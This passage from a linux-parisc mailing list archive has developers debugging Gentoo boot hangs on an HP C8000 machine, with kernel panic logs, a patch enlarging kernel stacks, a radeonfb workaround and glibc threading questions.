Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.19 (GNU/Linux)

iEYEABECAAYFAlF4O7kACgkQXKSJPmm5/E6rdwCfX1BjI2ko93ch13AmfF2Q4RmR
I+EAoI3lgus5L7GnuGw81KYy23YIx9aD
=KVHI
-----END PGP SIGNATURE-----

--nextPart2937413.mASnzxs9S0--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Gentoo boot on C8000 (was: Re: PARISC Linux website and status
 update)
Date: Wed, 24 Apr 2013 16:28:24 -0400
Lines: 86
Approved: news@gmane.org
Message-ID: <51784068.10103@bell.net>
References: <201304241944.r3OJirJv009740@arbas.nms.ulrich-teichert.org> <1725746.7h2TmhW5F7@eto>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
	format=flowed
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1366835270 22955 80.91.229.3 (24 Apr 2013 20:27:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Apr 2013 20:27:50 +0000 (UTC)
Cc: Ulrich Teichert <krypton@ulrich-teichert.org>,
	Jeroen Roovers <jer@gentoo.org>, linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 24 22:27:53 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UV6IA-0001MO-45
	for glpp-linux-parisc@plane.gmane.org; Wed, 24 Apr 2013 22:27:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757569Ab3DXU1t convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Apr 2013 16:27:49 -0400
Original-Received: from mail17.primus.ca ([216.254.141.184]:44769 "EHLO
	mail-07.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1757484Ab3DXU1s (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Apr 2013 16:27:48 -0400
Original-Received: from 209-197-168-34.cpe.distributel.net ([209.197.168.34] helo=[192.168.0.181])
	by mail-07.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1UV6I3-0008U3-2i; Wed, 24 Apr 2013 16:27:43 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130328 Thunderbird/17.0.5
In-Reply-To: <1725746.7h2TmhW5F7@eto>
X-Authenticated: danglin-lux@magma.ca - 209-197-168-34.cpe.distributel.net ([192.168.0.181]) [209.197.168.34]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4951
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4951>

On 4/24/2013 4:08 PM, Rolf Eike Beer wrote:
> Am Mittwoch 24 April 2013, 21:44:52 schrieb Ulrich Teichert:
>> Hi,
>>
>> [del]
>>
>>> have been kept up to date quite well. That said, we recently releas=
ed a
>>> new set of boot images (CD[2] and netboot[3]) with support for
>>> recent hardware, filesystems and (yes!) SMP.
>>>
>>>      jer
>>>
>>> [1] http://distfiles.gentoo.org/releases/hppa/autobuilds/current-st=
age3/
>>> [2] http://distfiles.gentoo.org/experimental/hppa/livecd/
>>> [3] http://distfiles.gentoo.org/experimental/hppa/netboot/
>> Tried [2] on my C8000 dual CPU, on a serial line just now:
>>
>> ...
>> HARD Booted.
>> <Cpu0> 0000109800e00000  0000000000000000  CC_BOOT_LAUNCH_IPL_OTHR
>> <Cpu0> 0100142900e00000  fffffff0f0e0ac00  CC_CPU_INTRIGUE_LDB
>> <Cpu0> 3400082100e00000  0000000000000001  CC_BOOT_BOOT_COMPLETE
>> palo ipl 1.5 root@hope Sat Apr 23 18:06:47 CEST 2005
>> ...
>>
>> [    0.000000] Kernel command line:  root=3D/dev/ram0
>> init=3D/linuxrc cdroot dokeymap looptype=3Dsquashfs loop=3D/image.sq=
uashfs
>> console=3DttyB0 palo_kernel=3D0/livecd
> [=E2=80=A6]
>> [   12.256000] radeonfb 0000:80:00.0: enabling SERR and PARITY (0107=
 ->
>> 0147) <Cpu1> e800009801e00000  00000000401173e8  CC_ERR_CHECK_HPMC
>> <Cpu1> 37000f7301e00000  8040004000000000  CC_ERR_CPU_CHECK_SUMMARY
>> <Cpu1> f600105e01e00000  fffffff0f0c00000  CC_MC_HPMC_MONARCH_SELECT=
ED
>> <Cpu1> 140003b201e00000  000000000000000b  CC_ERR_HPMC_STATE_ENTRY
>> <Cpu1> 5600100b01e00000  0000000000000194  CC_MC_OS_HPMC_LEN_ERR
>> <Cpu1> 5600106401e00000  fffffff0f0436fc0  CC_MC_BR_TO_OS_HPMC_FAILE=
D
>> <Cpu1> e800009801e00000  00000000401173e8  CC_ERR_CHECK_HPMC
>> <Cpu0> ec000c9600e00000  0000000000000000  CC_ERR_CHECK_FALL_THROUGH
>> <Cpu1> 37000f7301e00000  8040004000000000  CC_ERR_CPU_CHECK_SUMMARY
>> <Cpu1> 4000109f01e00000  0000000000000000  CC_MC_HPMC_INITIATED
>> <Cpu1> 4000101901e00000  0000000000000000  CC_MC_MULTIPLE_HPMCS
>> <Cpu1> 030010d501e00000  0000000000000000  CC_CPU_STOP
>> [   72.356000] INFO: rcu_sched detected stalls on CPUs/tasks: { 1} (=
detected
>> by 0, t=3D15002 jiffies) [   72.356000] Backtrace:
>> [   72.356000]  [<0000000040136238>] dump_stack+0x18/0x28
>> [   72.356000]  [<00000000401badec>] rcu_check_callbacks+0x824/0x840
>> [   72.356000]  [<000000004016c6fc>] update_process_times+0x64/0xb0
>> [   72.356000]  [<00000000401378c8>] timer_interrupt+0x198/0x1f8
>> [   72.356000]  [<00000000401b1c4c>] handle_irq_event_percpu+0xbc/0x=
2f8
>> [   72.356000]  [<00000000401b62ec>] handle_percpu_irq+0x9c/0xd0
>> [   72.356000]  [<00000000401b10b4>] generic_handle_irq+0x44/0x58
>> [   72.356000]  [<000000004013839c>] do_cpu_irq_mask+0x1ac/0x290
>> [   72.356000]  [<0000000040105074>] intr_return+0x0/0x4
>> [   72.356000]  [<000000004013f428>] cpu_idle+0x80/0xb0
>>
>> And that's it. Well, the ISO *is* an experimental one ;-) Any idea w=
hat
>> to try?
> video=3Dradeonfb:off

I think this is a thread stack overrun.  See this patch:
http://www.spinics.net/lists/linux-parisc/msg04680.html
but increase THREAD_SIZE_ORDER to 4.

There are various manifestations of this but they all involve crashes=20
during interrupt handling.

Dave

--=20
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: PARISC Linux website and status update
Date: Wed, 24 Apr 2013 16:41:16 -0400
Lines: 49
Approved: news@gmane.org
Message-ID: <5178436C.9040207@bell.net>
References: <5171B347.6070600@gmx.de> <13691126.u1dAREQ1nW@donald.sf-tec.de> <CA+DQjFhDcf09ZD9SvWvX95hu1hDd-T33YV-ipAzCNr5Se-dDKw@mail.gmail.com> <51729CA4.2060008@gmx.de> <CAE2sS1gDFqtvsk3hUoKNQJ6vSTurhhx5BNNC3iLbUnq_67Xu+Q@mail.gmail.com> <5177E29E.1040505@bell.net> <CAE2sS1iCgWcEYcau8d38J7coiB8usVmv_z1wfU8YnYtN1FJJkg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1366836037 30907 80.91.229.3 (24 Apr 2013 20:40:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Apr 2013 20:40:37 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	"debian-hppa@lists.debian.org" <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 24 22:40:39 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UV6UY-0003K1-Fh
	for glpp-linux-parisc@plane.gmane.org; Wed, 24 Apr 2013 22:40:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757615Ab3DXUkh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Apr 2013 16:40:37 -0400
Original-Received: from mail17.primus.ca ([216.254.141.184]:37356 "EHLO
	mail-09.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1757600Ab3DXUkg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Apr 2013 16:40:36 -0400
Original-Received: from 209-197-168-34.cpe.distributel.net ([209.197.168.34] helo=[192.168.0.181])
	by mail-09.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1UV6UU-0008WN-12; Wed, 24 Apr 2013 16:40:34 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130328 Thunderbird/17.0.5
In-Reply-To: <CAE2sS1iCgWcEYcau8d38J7coiB8usVmv_z1wfU8YnYtN1FJJkg@mail.gmail.com>
X-Authenticated: danglin-lux@magma.ca - 209-197-168-34.cpe.distributel.net ([192.168.0.181]) [209.197.168.34]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4952 gmane.linux.debian.ports.hppa:6863
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4952>

On 4/24/2013 3:33 PM, Carlos O'Donell wrote:
> On Wed, Apr 24, 2013 at 9:48 AM, John David Anglin <dave.anglin@bell.net> wrote:
>> On 4/24/2013 9:18 AM, Carlos O'Donell wrote:
>>> On Sat, Apr 20, 2013 at 9:48 AM, Helge Deller <deller@gmx.de> wrote:
>>>> So, sorry for forgetting to mention GENTOO LINUX on the website!
>>>> I've fixed it now (please wait one hour until the cron job activates the
>>>> changes).
>>> I'm using Gentoo for all my hppa hacking right now since I wanted to
>>> focus on toolchain issues rather than distribution issues :/
>> I have to say one learns a lot about toolchain issues building a
>> distribution...
> Absolutely. That doesn't detract from needing a stable environment
> to build and test with, which gentoo provides.
In my opinion, debian unstable is now "stable".  Probably, this is 
because it has been
pretty much frozen except for bug fixes for several months.  It taken 
many months but
the SMP stability problems are pretty much fixed.  Helge's machine was 
running stably
at a load average of ~250 in hackbench testing.  It used to crash reliably.

It is great that gentoo supported users through a rocky period.
>
>> Have you played with mysql-5.5?  Testsuite appears to show some
>> glibc problems (pthread_cond_timedwait).  Thoughts?
> What glibc version?
Debian 2.13-38.  Nothing much has changed since your patches were 
integrated.
Kernel was 3.9-r7+.
>
> We use the generic pthread_cond_timedwait implementation.
>
> The only thought I have is that pthread_cond_timedwait in master
> might try to use PI-aware mutexes and we haven't had much testing
> of the PI support in hppa. So there might be some issues to review
> there. I'll run the mysql-5.5 testsuite to try validate some of the
> cleanup I have planned.
That would be great.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: increase kernel stack size to 32k
Date: Wed, 24 Apr 2013 13:41:15 -0700
Lines: 36
Approved: news@gmane.org
Message-ID: <1366836075.1971.22.camel@dabdike>
References: <20130423202203.GA7287@p100.box> <51778ADE.4010906@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1366836076 31319 80.91.229.3 (24 Apr 2013 20:41:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Apr 2013 20:41:16 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 24 22:41:21 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UV6VE-0004Um-BP
	for glpp-linux-parisc@plane.gmane.org; Wed, 24 Apr 2013 22:41:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758006Ab3DXUlT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Apr 2013 16:41:19 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:58522 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1758000Ab3DXUlS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Apr 2013 16:41:18 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 83F428EE0BA;
	Wed, 24 Apr 2013 13:41:17 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id R3G7samlqKfM; Wed, 24 Apr 2013 13:41:17 -0700 (PDT)
Original-Received: from [10.0.0.6] (c-24-18-112-117.hsd1.wa.comcast.net [24.18.112.117])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 172AA8EE0A5;
	Wed, 24 Apr 2013 13:41:17 -0700 (PDT)
In-Reply-To: <51778ADE.4010906@gmx.de>
X-Mailer: Evolution 3.6.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4953
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4953>

On Wed, 2013-04-24 at 09:33 +0200, Helge Deller wrote:
> On 04/23/2013 10:22 PM, Helge Deller wrote:
> > commit e4e1e78facf7565cada909a69c7fb6415b6e7b83
> > Author: Helge Deller <deller@gmx.de>
> > Date:   Tue Apr 23 17:19:37 2013 +0200
> > 
> > parisc: increase kernel stack size to 32k
> > 
> > --- a/arch/parisc/include/asm/thread_info.h
> > +++ b/arch/parisc/include/asm/thread_info.h
> > -#define THREAD_SIZE_ORDER            2
> > +#define THREAD_SIZE_ORDER            3	/* 32k stack */
> 
> I tested again, and it actually needs to be 64k stacks to not crash any longer.
> So, the right temporary fix is:
> 
> > +#define THREAD_SIZE_ORDER            4	/* 64k stack */
> 
> Will send updated patch soon.

This is an indicator of something seriously wrong somewhere.  We've
always had the 16k stack just because of our large frames.  In theory,
the IRQ stack should only be the same size as the kernel stack, so if we
have both in the same place, we should only need at max 32k ... if we're
still seeing problems related to stack overrun, then it might be we have
an IRQ recursion where we shouldn't have.  To be honest, I have a hard
time explaining why our stacks should be over 8k.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Graham Gower <graham.gower@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Gentoo boot on C8000 (was: Re: PARISC Linux website and status update)
Date: Thu, 25 Apr 2013 13:52:08 +0930
Lines: 105
Approved: news@gmane.org
Message-ID: <CAFk90B-yEO3VmGLL_+6+9jh3_M+wJ1OV79Wt31U_aFP+9ad6dQ@mail.gmail.com>
References: <201304241944.r3OJirJv009740@arbas.nms.ulrich-teichert.org>
	<1725746.7h2TmhW5F7@eto>
	<51784068.10103@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1366863729 24731 80.91.229.3 (25 Apr 2013 04:22:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 25 Apr 2013 04:22:09 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	Ulrich Teichert <krypton@ulrich-teichert.org>,
	Jeroen Roovers <jer@gentoo.org>, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 25 06:22:13 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UVDhF-0000Dt-0q
	for glpp-linux-parisc@plane.gmane.org; Thu, 25 Apr 2013 06:22:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750764Ab3DYEWM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 25 Apr 2013 00:22:12 -0400
Original-Received: from mail-wi0-f170.google.com ([209.85.212.170]:43191 "EHLO
	mail-wi0-f170.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1749667Ab3DYEWL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 25 Apr 2013 00:22:11 -0400
Original-Received: by mail-wi0-f170.google.com with SMTP id l13so8638783wie.1
        for <linux-parisc@vger.kernel.org>; Wed, 24 Apr 2013 21:22:09 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:x-received:in-reply-to:references:date:message-id
         :subject:from:to:cc:content-type;
        bh=REo/UzBaUbkyCRJqVleY6qs/JcfPTiFM0/lL9wEW4PI=;
        b=O810L67rMRv3f/+jxCJbGBnuOLA9c2GIaXfXZlyoCafrVLuTH6BD1jKEVlWELYICw8
         AmJwH+WAChv0871bH+3oO1NDr3roksp7Uz4zm9f+RLyiAVlEQoor0N6NyKaynbl4Mb4j
         u2pdvqtwGvjaOnNpH1VzIIZ5SEXkjxA1PePjNNMfxl54NJsxU5hu+GSFIPhyhjIZA5fS
         pJ7noUAiQhjj2EoJVI+UF6fmY5+rR02FjIjO7HAJjWCAAm01Dhzt/UIia6ST9h7hcDig
         Y59U9XUGXfAGXEeCooHmth37tzTm3hcPTt8nhu4poypAYmn30VYDV/8+fQ0HD39JoIgm
         3WPg==
X-Received: by 10.180.94.196 with SMTP id de4mr24550260wib.23.1366863729165;
 Wed, 24 Apr 2013 21:22:09 -0700 (PDT)
Original-Received: by 10.216.103.69 with HTTP; Wed, 24 Apr 2013 21:22:08 -0700 (PDT)
In-Reply-To: <51784068.10103@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4954
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4954>

On 25 April 2013 05:58, John David Anglin <dave.anglin@bell.net> wrote:
> On 4/24/2013 4:08 PM, Rolf Eike Beer wrote:
>>
>> video=radeonfb:off
>
>
> I think this is a thread stack overrun.  See this patch:
> http://www.spinics.net/lists/linux-parisc/msg04680.html
> but increase THREAD_SIZE_ORDER to 4.
>
> There are various manifestations of this but they all involve crashes during
> interrupt handling.

I get the same bug with radeonfb on my c8000. Bumping
THREAD_SIZE_ORDER did not help. Passing the video=radeonfb:off kernel
parameter is an effective workaround.

When building as a module and later loading radeonfb.ko, the hang
remains but the machine responds to ping. I snapped the output below,
which hopefully helps someone. I'm using a stock kernel 3.8.8.

-Graham

burke:~# modprobe radeonfb
[  403.888000] radeonfb 0000:80:00.0: enabling SERR and PARITY (0107 -> 0147)
[  463.712000] INFO: rcu_sched detected stalls on CPUs/tasks: { 3}
(detected by 1, t=15021 jiffies, g=3107, c=3106, q=27)
[  463.856000] Task dump for CPU 3:
[  463.896000] modprobe        R  running task        0  2822   2815 0x00000016
[  463.992000] Backtrace:
[  464.024000]  [<00000000403ca6a8>] __driver_attach+0x100/0x108
[  464.100000]  [<00000000403c7940>] bus_for_each_dev+0x98/0xf8
[  464.172000]  [<00000000403c9c70>] driver_attach+0x28/0x38
[  464.244000]  [<00000000403c9534>] bus_add_driver+0xfc/0x360
[  464.320000]  [<00000000403cad58>] driver_register+0x90/0x1e8
[  464.396000]  [<000000004036a628>] __pci_register_driver+0x48/0x58
[  464.476000]  [<000000001029f04c>] radeonfb_init+0x2c/0x38 [radeonfb]
[  464.560000]  [<0000000040117524>] do_one_initcall+0x18c/0x1e8
[  464.636000]  [<0000000040193998>] load_module+0x1cf0/0x2298
[  464.708000]  [<0000000040194018>] sys_init_module+0xd8/0x110
[  464.784000]  [<0000000040105f48>] syscall_exit+0x0/0x14
[  464.852000]
[  464.872000] timer_interrupt(CPU 1): delayed! cycles 4BEAD5A6 rem
23615A  next/now 8B58E727CD/8B58C3C673
[  476.324000] BUG: soft lockup - CPU#0 stuck for 22s! [sshd:2766]
[  476.324000] Modules linked in: radeonfb(+) i2c_algo_bit fb_ddc
snd_cmipci snd_mpu401_uart snd_opl3_lib snd_hwdep snd_rawmidi
snd_seq_device snd_pcm snd_page_alloc snd_timer snd soundcore
[  476.324000]
[  476.324000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[  476.324000] PSW: 00001000000001101111111100001111 Not tainted
[  476.324000] r00-03  000000ff0806ff0f 0000000040820370
000000004018e7d0 000000004073def0
[  476.324000] r04-07  000000004080f370 0000000043626500
00000000406ac1c0 0000000000000001
[  476.324000] r08-11  0000000000000003 0000000040706c70
fffffffffffffffe 00000000407b1890
[  476.324000] r12-15  0000000000000000 00000000406c8540
0000000000000000 000000004075e624
[  476.324000] r16-19  000000007ecea428 0000000000080140
0000000000068848 fffffffffe799000
[  476.324000] r20-23  ffffffffffffffff 0000000043626530
000000000800000f 0000000000000001
[  476.324000] r24-27  0000000000000004 0000000000000004
0000000043626538 000000004080f370
[  476.324000] r28-31  0000000000000001 000000007e140740
000000007e1406a0 0000000000000004
[  476.324000] sr00-03  000000000062d800 0000000000000000
0000000000000000 000000000062d800
[  476.324000] sr04-07  0000000000000000 0000000000000000
0000000000000000 0000000000000000
[  476.324000]
[  476.324000] IASQ: 0000000000000000 0000000000000000 IAOQ:
000000004018e69c 000000004018e6a0
[  476.324000]  IIR: 44bc0040    ISR: 00000000406b7940  IOR: 000000004080f370
[  476.324000]  CPU:        0   CR30: 000000007e140000 CR31: fffffff0f0e034e0
[  476.324000]  ORIG_R28: 0000000000000002
[  476.324000]  IAOQ[0]: smp_call_function_many+0x344/0x3d8
[  476.324000]  IAOQ[1]: smp_call_function_many+0x348/0x3d8
[  476.324000]  RP(r2): on_each_cpu+0x50/0x90
[  476.324000] Backtrace:
[  476.324000]  [<000000004018e7d0>] on_each_cpu+0x50/0x90
[  476.324000]  [<0000000040119aec>] flush_cache_mm+0x24/0x30
[  476.324000]  [<000000004013d158>] dup_mm+0x118/0x5e8
[  476.324000]  [<000000004013e0ec>] copy_process.part.63+0xa24/0x1488
[  476.324000]
[  476.324000] Kernel panic - not syncing: softlockup: hung tasks
[  476.324000] Backtrace:
[  476.324000]  [<000000004011a0f0>] dump_stack+0x18/0x28
[  476.324000]  [<000000004013fbd8>] panic+0x128/0x398
[  476.324000]  [<000000004019af98>] watchdog_timer_fn+0x2b0/0x2c8
[  476.324000]  [<000000004016c714>] hrtimer_run_queues+0x134/0x320
[  476.324000]  [<0000000040151af4>] update_process_times+0x4c/0xc0
[  476.324000]  [<000000004011b7bc>] timer_interrupt+0x19c/0x200
[  476.324000]  [<000000004019bfa4>] handle_irq_event_percpu+0xac/0x300
[  476.324000]  [<00000000401a08f0>] handle_percpu_irq+0xa8/0xe0
[  476.324000]  [<000000004019b3f0>] generic_handle_irq+0x40/0x50
[  476.324000]  [<000000004011c320>] do_cpu_irq_mask+0x1d0/0x2b8
[  476.324000]  [<0000000040105074>] intr_return+0x0/0x4
[  476.324000]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Turner <mattst88@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Gentoo boot on C8000 (was: Re: PARISC Linux website and status update)
Date: Wed, 24 Apr 2013 22:29:18 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <CAEdQ38HjaLRMa_0f=qjVa84-xmerQvmsLH0OBdHxeRReOKQuyw@mail.gmail.com>
References: <201304241944.r3OJirJv009740@arbas.nms.ulrich-teichert.org> <1725746.7h2TmhW5F7@eto>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1366867779 26463 80.91.229.3 (25 Apr 2013 05:29:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 25 Apr 2013 05:29:39 +0000 (UTC)
Cc: Ulrich Teichert <krypton@ulrich-teichert.org>,
	Jeroen Roovers <jer@gentoo.org>, linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 25 07:29:43 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UVEkW-0007XN-EP
	for glpp-linux-parisc@plane.gmane.org; Thu, 25 Apr 2013 07:29:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751306Ab3DYF3k (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 25 Apr 2013 01:29:40 -0400
Original-Received: from mail-qe0-f49.google.com ([209.85.128.49]:46672 "EHLO
	mail-qe0-f49.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751269Ab3DYF3j (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 25 Apr 2013 01:29:39 -0400
Original-Received: by mail-qe0-f49.google.com with SMTP id 6so1791707qeb.36
        for <linux-parisc@vger.kernel.org>; Wed, 24 Apr 2013 22:29:39 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=x-received:mime-version:in-reply-to:references:from:date:message-id
         :subject:to:cc:content-type;
        bh=pDSR1+EMipedx+2sTuUK6nkBJHbc7IOR8ADjYUE72Jg=;
        b=cQwJmpkvFctK4clzyqMOFu9orSJOcH6p2DMXCm30FElgVAnXxOisTZzDvIUKDHw+v2
         PXMKMKNuJjas+c7v2YJn5YNLWo96cmLDMGsHSlsv6Dgmjzld08RdI3Y4K2PpjQcdOoHx
         35nTBb/sEtKzkoX12xNkG5ZLnYoXimiIpuAPnkZg1ZK9Dev21iqAIPDBSwph/eipywzk
         QqGfD/q2caT1Ydqpw6lZ9KaXgugFwN8fhZ/4jLKvCe1kcTegaTi7PYNUXJQr6TNK/8Zn
